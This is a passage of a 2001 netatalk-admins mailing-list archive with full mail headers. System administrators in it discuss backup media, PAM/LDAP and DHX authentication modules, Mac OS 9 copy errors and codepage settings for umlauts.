To: Chris Garrigues <cwg@deepeddy.com>
CC: Christian Schmidt <ChriSchmiLi@gmx.de>, netatalk-admins@umich.edu
Subject: Re: Backup Software Question
References: <a05100300b78aea8f710d@[192.168.0.33]> <p0431010eb78b791e1ad1@[192.168.2.2]> <28487.996527747@deepeddy.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Chris Garrigues wrote:
> 
> > From:  Christian Schmidt <ChriSchmiLi@gmx.de>
> > Date:  Mon, 30 Jul 2001 22:52:13 +0200

[snip]
> > Well, a backup stored on a HD isn't a real backup IMHO, is it?
> > What if your backup-HD crashes?
> 
> what if your tape becomes unreadable?

well, too bad, I hope You check Your backups regularly for consitstence and 
functionality.

There are numbers for stuff like how often can a tape be written to and read
from(depends on the model).

> How is a backup on a hard disk not a backup?

It's not a _real_ backup. It's a redundant storage with identical points of
failure. Since hard discs are random access media, they can also be randomly 
deleted. This is harder with tapes that are handled properly, i.e. stored in a
fire proof water sealed safe off site. 

Secured tapes, even if they are stored in the same room as the machine being
backed up, are also less affected by power surges or other electrical
instabilities (as long as the sparks don't fly...). 

It is also easier to replace the read/write mechanism (i.e., the drive) when using
a tape backup solution than it is with a hard disk.

So, if You take care of Your backups, there is a significant decrease in Your
chances of losing data. Nothing of this is foolproof, nonetheless.

H.

-- 
Harald Wagener      |                                Systemadministrator 
FCB/Wilkens GmbH    |                              Tel.:+49-40-2881-1252 
An der Alster 42    |                              Fax.:+49-40-2881-1263 
20099 Hamburg       |                         http://www.fcb-wilkens.com

From netatalk.administrators-errors@umich.edu  Tue Jul 31 05:03:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA06731
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 31 Jul 2001 05:03:00 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id FAA01615
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 31 Jul 2001 05:02:46 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA01586
	for netatalk.administrators-members@umich.edu; Tue, 31 Jul 2001 05:02:45 -0400 (EDT)
Received: from hammail1.truenorth.com (h-213.61.138.102.host.de.colt.net [213.61.138.102])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA01536
	for <netatalk-admins@umich.edu>; Tue, 31 Jul 2001 05:02:43 -0400 (EDT)
Received: from fcb-wilkens.com ([170.200.66.15]) by
          hammail1.truenorth.com (Netscape Messaging Server 4.15) with
          ESMTP id GHBYGW00.45A; Tue, 31 Jul 2001 11:02:56 +0200 
Sender: hollow@funinacapulco.mr.itd.umich.edu
Message-ID: <3B667440.60B292B6@fcb-wilkens.com>
Date: Tue, 31 Jul 2001 11:02:56 +0200
From: Harald Wagener <hwagener@fcb-wilkens.com>
Organization: FCB Wilkens
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.2-SGI_XFS_1.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Chris Herrmann <chris@faredge.com.au>
CC: netatalk-admins@umich.edu
Subject: Re: Reality check on authentication notes
References: <005501c11983$bfde1f60$c40e8ec6@faredge.com.au>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Chris Herrmann wrote:
> 
> Hi all,
> 
> I've included most of Thomas' notes in the url below. There's a question
> still about how authentication works/doesn't work if pam passes
> authentication off to an ldap server etc. Anyone got any experience here?

It can be done. You have to configure pam to use the ldap auth module for
netatalk,
and use uams_cleartext.so as uam, since pam passes the password to the ldap server
and needs it in clear text for this.

down side: uams_cleartext.so only works with passwords up to 8 characters long
up side: it also supports groups defined in the ldap directory, i.e. You don't
need
to pollute Your *nix setup with entries in the group definition file.

By the way: We use netatalk on xfs, and are having only minor problems (see other
posting).

This is on RedHat 7.1, with a 2.4.2-XFS kernel, on a dual PIII-800 machine with a
redundantly
controlled raid array over a intel eepro gigabit network card.


> <snip>
> >
> > http://gemini.faredge.com.au/netatalk/authentication.html
> >
> Well, there is an open issue: integrating authentication against external
> services like ldap, smb, etc. as Harald wrote.
> 
> | am 30.07.2001 11:45 Uhr schrieb Harald Wagener:
> |
> | > But You cannot use DHX if authentication is passed to some external
> | > mechanism by PAM. And if You put uams_dhx.o in the list of allowable
> | > methods, the chooser (appleshare client) will choose that of it“s own,
> | > and authentication against the ldap server won't work anymore.
> | > Or am I wrong here?
> 
> I don't have any spare time to check this out. Maybe somebody asks this on
> the Netatalk-devel lists whether there is a way to combine the pam uam with
> dhx authentication. This would improve things much.
> 
> <unsnip>
> 
> Cheers,
> 
> Chris

-- 
Harald Wagener      |                                Systemadministrator 
FCB/Wilkens GmbH    |                              Tel.:+49-40-2881-1252 
An der Alster 42    |                              Fax.:+49-40-2881-1263 
20099 Hamburg       |                         http://www.fcb-wilkens.com

From netatalk.administrators-errors@umich.edu  Tue Jul 31 05:22:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA07208
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 31 Jul 2001 05:22:30 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id FAA01075
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 31 Jul 2001 05:22:30 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA01062
	for netatalk.administrators-members@umich.edu; Tue, 31 Jul 2001 05:22:29 -0400 (EDT)
Received: from hammail1.truenorth.com (h-213.61.138.102.host.de.colt.net [213.61.138.102])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA01030
	for <netatalk-admins@umich.edu>; Tue, 31 Jul 2001 05:22:28 -0400 (EDT)
Received: from fcb-wilkens.com ([170.200.66.15]) by
          hammail1.truenorth.com (Netscape Messaging Server 4.15) with
          ESMTP id GHBZDE00.E5X for <netatalk-admins@umich.edu>; Tue, 31
          Jul 2001 11:22:26 +0200 
Sender: hollow@kingcreole.mr.itd.umich.edu
Message-ID: <3B6678D2.97382A93@fcb-wilkens.com>
Date: Tue, 31 Jul 2001 11:22:26 +0200
From: Harald Wagener <hwagener@fcb-wilkens.com>
Organization: FCB Wilkens
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.2-SGI_XFS_1.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Problems copying 'some' files; Error -50
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

This is with  netatalk-1.4.99-0.20001108 on RedHat 7.1 on the server
side and MacOS 9.0.4 on the client side.

When copying large quantities of files onto the file server, the copy
process does sometimes stop with 'Error -50' message.

When trying to copy the offending files on their own, it wokrs _most of
the time_, but some single files won't be copied.

This error does not occur when tring to copy the file in question to 
another netatalk box running netatalk-1.5pre3 or from another client
running MacOS 9.1/9.2

So, I assume this is a problem with the software versions used. Can
anyone confirm this?

Regards,
	Harald

-- 
Harald Wagener      |                                Systemadministrator 
FCB/Wilkens GmbH    |                              Tel.:+49-40-2881-1252 
An der Alster 42    |                              Fax.:+49-40-2881-1263 
20099 Hamburg       |                         http://www.fcb-wilkens.com

From netatalk.administrators-errors@umich.edu  Tue Jul 31 05:29:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA07329
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 31 Jul 2001 05:29:44 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id FAA27976
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 31 Jul 2001 05:29:30 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA27954
	for netatalk.administrators-members@umich.edu; Tue, 31 Jul 2001 05:29:29 -0400 (EDT)
Received: from dns2.northox.ac.uk (dns2.northox.ac.uk [195.194.168.132])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA27915
	for <netatalk-admins@umich.edu>; Tue, 31 Jul 2001 05:29:28 -0400 (EDT)
Received: from mail.northox.ac.uk (mail.northox.ac.uk [195.194.168.139])
	by dns2.northox.ac.uk (Postfix) with ESMTP
	id B95DE557; Tue, 31 Jul 2001 09:29:41 +0000 (GMT)
Received: from BANBURY1/SpoolDir by mail.northox.ac.uk (Mercury 1.48);
    31 Jul 01 10:23:56 +0000
Received: from SpoolDir by BANBURY1 (Mercury 1.48); 31 Jul 01 10:23:53 +0000
Received: from [192.168.3.51] (192.168.3.51) by mail.northox.ac.uk (Mercury 1.48) with ESMTP;
    31 Jul 01 10:23:51 +0000
Mime-Version: 1.0
X-Sender: tallett@192.168.1.2
Message-Id: <p05010402b78c2a15d22b@[192.168.3.51]>
In-Reply-To: <3B6678D2.97382A93@fcb-wilkens.com>
References: <3B6678D2.97382A93@fcb-wilkens.com>
Date: Tue, 31 Jul 2001 10:29:31 +0100
To: Harald Wagener <hwagener@fcb-wilkens.com>, netatalk-admins@umich.edu
From: Trevor Allett <tallett@northox.ac.uk>
Subject: Re: Problems copying 'some' files; Error -50
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 11:22 +0200 07/31/2001, Harald Wagener wrote:
>This is with  netatalk-1.4.99-0.20001108 on RedHat 7.1 on the server
>side and MacOS 9.0.4 on the client side.
>
>When copying large quantities of files onto the file server, the copy
>process does sometimes stop with 'Error -50' message.
>
>When trying to copy the offending files on their own, it wokrs _most of
>the time_, but some single files won't be copied.
>
>This error does not occur when tring to copy the file in question to
>another netatalk box running netatalk-1.5pre3 or from another client
>running MacOS 9.1/9.2
>
>So, I assume this is a problem with the software versions used. Can
>anyone confirm this?

we have a problem similar to this, whereby some files in a folder 
full would only copy if copied on their own or with the option (alt) 
key held down, the problem goes away if the virus protection (virex) 
is disabled.
-t
-- 
--
==============================
Trevor Allett
IT Support unit
North Oxfordshire College,
Banbury,
Oxfordshire.	United Kingdom.
=======================================
============================================
This message may contain information which is legally privileged
and/or confidential. If you are not the intended recipient, you
are hereby notified that any unauthorised disclosure, copying,
distribution or use of this information is strictly prohibited.
Such notification notwithstanding, any comments or opinions
expressed are those of the originator, not of
North Oxfordshire College and School of Art,
unless otherwise explicitly stated.
=================================================================

From netatalk.administrators-errors@umich.edu  Tue Jul 31 05:43:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA07589
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 31 Jul 2001 05:43:08 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id FAA09359
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 31 Jul 2001 05:43:08 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA09333
	for netatalk.administrators-members@umich.edu; Tue, 31 Jul 2001 05:43:08 -0400 (EDT)
Received: from mail.cmp-weka.de (poing.dmv-franzis.de [194.122.1.193])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id FAA09274
	for <netatalk-admins@umich.edu>; Tue, 31 Jul 2001 05:43:06 -0400 (EDT)
Received: from SMTP01 by mail.cmp-weka.de
          via smtpd (for easycomeeasygo.mr.itd.umich.edu [141.211.14.26]) with SMTP; 31 Jul 2001 09:43:16 UT
Received: from [172.29.11.2] [172.29.11.2]
	by mail.cmp-weka.de [172.29.1.6]
	with SMTP (MDaemon.PRO.v4.0.2.R)
	for <netatalk-admins@umich.edu>; Tue, 31 Jul 2001 11:45:30 +0200
User-Agent: Microsoft-Entourage/9.0.2509
Date: Tue, 31 Jul 2001 11:39:28 +0200
Subject: Re: Problems copying 'some' files; Error -50
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
CC: Harald Wagener <hwagener@fcb-wilkens.com>
Message-ID: <B78C4970.2A313%ts@visual-s.de>
In-Reply-To: <3B6678D2.97382A93@fcb-wilkens.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-MDRemoteIP: 172.29.11.2
X-Return-Path: ts@visual-s.de
X-MDaemon-Deliver-To: netatalk-admins@umich.edu

Do you have codepage options enabled?

On 01-07-31 11:22 +0200, Harald Wagener wrote:

> This is with  netatalk-1.4.99-0.20001108 on RedHat 7.1 on the server
> side and MacOS 9.0.4 on the client side.
> 
> When copying large quantities of files onto the file server, the copy
> process does sometimes stop with 'Error -50' message.
> 
> When trying to copy the offending files on their own, it wokrs _most of
> the time_, but some single files won't be copied.

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers



From netatalk.administrators-errors@umich.edu  Tue Jul 31 05:52:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA07859
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 31 Jul 2001 05:52:41 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id FAA17967
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 31 Jul 2001 05:52:26 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA17946
	for netatalk.administrators-members@umich.edu; Tue, 31 Jul 2001 05:52:26 -0400 (EDT)
Received: from hammail1.truenorth.com (h-213.61.138.102.host.de.colt.net [213.61.138.102])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA17767
	for <netatalk-admins@umich.edu>; Tue, 31 Jul 2001 05:52:21 -0400 (EDT)
Received: from fcb-wilkens.com ([170.200.66.15]) by
          hammail1.truenorth.com (Netscape Messaging Server 4.15) with
          ESMTP id GHC0RM00.45S; Tue, 31 Jul 2001 11:52:34 +0200 
Sender: hollow@funinacapulco.mr.itd.umich.edu
Message-ID: <3B667FE2.1323FD82@fcb-wilkens.com>
Date: Tue, 31 Jul 2001 11:52:34 +0200
From: Harald Wagener <hwagener@fcb-wilkens.com>
Organization: FCB Wilkens
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.2-SGI_XFS_1.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Thomas Schierle <ts@visual-s.de>
CC: Netatalk-Admins <netatalk-admins@umich.edu>
Subject: Re: Problems copying 'some' files; Error -50
References: <B78C4970.2A313%ts@visual-s.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Thomas Schierle wrote:
> 
> Do you have codepage options enabled?
> 
[snip]

umm,no. I wanted to asked about code pages in the near future, because
we currently have problems with umlauts coming from windows clients 
accessing the same data via samba.

But while we are at it: which would be 'the perfect setting' for code
pages  so german umlauts at last are usable cross platform
(and, by the way, does anybody know how to configure the shell
on redhat linux in a way that this codepage is used there as
well so I can work without shell expansion tricks to access some files
on the server)?

Regards,
	Harald


> --
> Thomas Schierle, Munich, Germany
> 
> PGP key [DSS/DH] 0xA23CDA1D available at various public key servers

-- 
Harald Wagener      |                                Systemadministrator 
FCB/Wilkens GmbH    |                              Tel.:+49-40-2881-1252 
An der Alster 42    |                              Fax.:+49-40-2881-1263 
20099 Hamburg       |                         http://www.fcb-wilkens.com

From netatalk.administrators-errors@umich.edu  Tue Jul 31 06:31:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA08775
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 31 Jul 2001 06:31:13 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id GAA06017
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 31 Jul 2001 06:31:13 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA05999
	for netatalk.administrators-members@umich.edu; Tue, 31 Jul 2001 06:31:12 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA05962
	for <netatalk-admins@umich.edu>; Tue, 31 Jul 2001 06:31:11 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id MAA26464;
	Tue, 31 Jul 2001 12:47:25 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Tue, 31 Jul 2001 12:33:21 +0200
Subject: Re: Reality check on authentication notes
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Harald Wagener <hwagener@fcb-wilkens.com>
CC: <netatalk-admins@umich.edu>
Message-ID: <B78C5611.F2CB%Thomas.Kaiser@phg-online.de>
In-Reply-To: <3B667440.60B292B6@fcb-wilkens.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

on Tue, 31 Jul 2001 11:02:56 +0200, Harald Wagener wrote:

> You have to configure pam to use the ldap auth module for netatalk, and use
> uams_cleartext.so as uam, since pam passes the password to the ldap server
> and needs it in clear text for this.

What about uams_dhx_pam.c?

<http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/netatalk/netatalk/etc/uams/>

Regards,

Thomas



From netatalk.administrators-errors@umich.edu  Tue Jul 31 06:43:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA08980
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 31 Jul 2001 06:43:09 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id GAA06848
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 31 Jul 2001 06:42:54 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA06830
	for netatalk.administrators-members@umich.edu; Tue, 31 Jul 2001 06:42:54 -0400 (EDT)
Received: from cliff.niehs.nih.gov (cliff.niehs.nih.gov [157.98.8.7])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA06788
	for <netatalk-admins@umich.edu>; Tue, 31 Jul 2001 06:42:53 -0400 (EDT)
Received: from cliff.niehs.nih.gov (IDENT:root@localhost.localdomain [127.0.0.1])
	by cliff.niehs.nih.gov (8.9.3/8.9.3/NIEHS-POST-1.8) with ESMTP id GAA25873
	for <netatalk-admins@umich.edu>; Tue, 31 Jul 2001 06:43:06 -0400
Received: from trollope.niehs.nih.gov (trollope.niehs.nih.gov [157.98.13.26])
	by cliff.niehs.nih.gov (8.9.3/8.9.3/NIEHS-PRE-1.12) with ESMTP id GAA25847
	for <netatalk-admins@umich.edu>; Tue, 31 Jul 2001 06:43:06 -0400
Received: by trollope.niehs.nih.gov with Internet Mail Service (5.5.2653.19)
	id <3DCM49F0>; Tue, 31 Jul 2001 06:43:48 -0400
Message-ID: <4D693F933DD8D311A18C00E018B0057608EA387A@trollope.niehs.nih.gov>
From: "Miller.Jonathan" <MILLER18@niehs.nih.gov>
To: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: RE: passwords longer than 8 characters
Date: Tue, 31 Jul 2001 06:43:27 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id GAA08980

Thanks for the help.  I do believe I've got it working the way I need
it to now.  But another, related question:  what are uams_dhx_pam.so
and uams_dhx_passwd.so for?  I'm just using -uamlist uams_dhx.so in my
afpd.conf and it's working just fine...

Thanks again,
Jon

Jonathan Miller
Bioinformatics System Administrator
NIEHS MicroArray Center (ITSS) 

> -----Original Message-----
> From: Thomas Kaiser [mailto:Thomas.Kaiser@phg-online.de]
> Sent: Thursday, July 26, 2001 3:49 PM
> To: Miller.Jonathan; 'netatalk-admins@umich.edu'
> Subject: Re: passwords longer than 8 characters
> 
> 
> am 26.07.2001 20:25 Uhr schrieb Miller.Jonathan:
> 
> > there's a problem when people have passwords longer than 8 
> characters.
> 
> Support for more than 8 chars in passwords came with DHX 
> authentication.
> 
> > Is there some way, maybe through a UAM, to have it accept 
> longer passwords?
> 
> If you have a recent AppleShare Client (Apple recommends 
> 3.8.8 if you want
> to change you passwords through chooser: 
> <http://til.info.apple.com/techinfo
> .nsf/artnum/n60792>) and compiled a recent Netatalk version with DHX
> Authentication, things will work as expected. :-)
> 
> Regards,
> 
> Thomas
> 

From netatalk.administrators-errors@umich.edu  Tue Jul 31 07:05:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA09415
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 31 Jul 2001 07:05:05 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id HAA11214
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 31 Jul 2001 07:05:05 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA11193
	for netatalk.administrators-members@umich.edu; Tue, 31 Jul 2001 07:05:04 -0400 (EDT)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA11140
	for <netatalk-admins@umich.edu>; Tue, 31 Jul 2001 07:05:03 -0400 (EDT)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id f6VB51M10600
	for <netatalk-admins@umich.edu>; Tue, 31 Jul 2001 13:05:01 +0200 (CEST)
	(envelope-from srittau@jroger.in-berlin.de)
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.11.1/8.11.1/Debian 8.11.0-6) with UUCP id f6VB51R13860
	for netatalk-admins@umich.edu; Tue, 31 Jul 2001 13:05:01 +0200
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 15RXEz-0000Xo-00
	for <netatalk-admins@umich.edu>; Tue, 31 Jul 2001 12:59:09 +0200
Date: Tue, 31 Jul 2001 12:59:09 +0200
To: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: Re: passwords longer than 8 characters
Message-ID: <20010731125909.A2018@jroger.in-berlin.de>
Mail-Followup-To: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
References: <4D693F933DD8D311A18C00E018B0057608EA387A@trollope.niehs.nih.gov>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <4D693F933DD8D311A18C00E018B0057608EA387A@trollope.niehs.nih.gov>
User-Agent: Mutt/1.3.18i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Tue, Jul 31, 2001 at 06:43:27AM -0400, Miller.Jonathan wrote:

> Thanks for the help.  I do believe I've got it working the way I need
> it to now.  But another, related question:  what are uams_dhx_pam.so
> and uams_dhx_passwd.so for?  I'm just using -uamlist uams_dhx.so in my
> afpd.conf and it's working just fine...

If you do an "ls -l" on your uams directory, you will notice that
some uams are just symlinks to other uams, depending on whether you
turned on pam, dhx, etc. uams_dhx.so is such an uam. It's linked to
uams_dhx_pam.so on my PAM-enabled Debian GNU/Linux box.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Tue Jul 31 09:10:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA14169
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 31 Jul 2001 09:10:15 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA17644
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 31 Jul 2001 09:10:15 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA17626
	for netatalk.administrators-members@umich.edu; Tue, 31 Jul 2001 09:10:14 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA17593
	for <netatalk-admins@umich.edu>; Tue, 31 Jul 2001 09:10:13 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f6VDA9D28273;
	Tue, 31 Jul 2001 09:10:09 -0400
Sender: root@univrel.pr.uconn.edu
Message-ID: <3B66AEA8.94872208@univrel.pr.uconn.edu>
Date: Tue, 31 Jul 2001 09:12:08 -0400
From: Jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.3-20mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Chris Herrmann <chris@faredge.com.au>
CC: netatalk-admins@umich.edu
Subject: Re: Reality check on authentication notes
References: <005501c11983$bfde1f60$c40e8ec6@faredge.com.au>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Chris Herrmann wrote:
> 
> Hi all,
> 
> I've included most of Thomas' notes in the url below. There's a question
> still about how authentication works/doesn't work if pam passes
> authentication off to an ldap server etc. Anyone got any experience here?
> 
> <snip>
> >
> > http://gemini.faredge.com.au/netatalk/authentication.html
> >
> Well, there is an open issue: integrating authentication against external
> services like ldap, smb, etc. as Harald wrote.
> 
> | am 30.07.2001 11:45 Uhr schrieb Harald Wagener:
> |
> | > But You cannot use DHX if authentication is passed to some external
> | > mechanism by PAM. And if You put uams_dhx.o in the list of allowable
> | > methods, the chooser (appleshare client) will choose that of it“s own,
> | > and authentication against the ldap server won't work anymore.
> | > Or am I wrong here?
> 
> I don't have any spare time to check this out. Maybe somebody asks this on
> the Netatalk-devel lists whether there is a way to combine the pam uam with
> dhx authentication. This would improve things much.

You just have to use the DHX PAM module, then set up your PAM file for
netatalk to authenticate off of whatever you want.

Also, you have to compile the 1.5pre series with --enable-pam to allow
PAM to work with cleartext and DHX.

Jeff

From netatalk.administrators-errors@umich.edu  Tue Jul 31 10:23:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA19207
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 31 Jul 2001 10:23:20 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id KAA18442
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 31 Jul 2001 10:23:20 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA18427
	for netatalk.administrators-members@umich.edu; Tue, 31 Jul 2001 10:23:19 -0400 (EDT)
Received: from austin-jump.vircio.com ([216.30.106.234])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA18384
	for <netatalk-admins@umich.edu>; Tue, 31 Jul 2001 10:23:18 -0400 (EDT)
Received: (qmail 13621 invoked by uid 104); 31 Jul 2001 14:23:18 -0000
Received: from cwg-dated-c1de45c3c33f2280@deepeddy.com by austin-jump.vircio.com with qmail-scanner-0.90 (uvscan: v4.1.40/v4150. . Clean. Processed in 0.477987 secs); 31/07/2001 09:23:17
Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender <cwg-dated-c1de45c3c33f2280@deepeddy.com>)
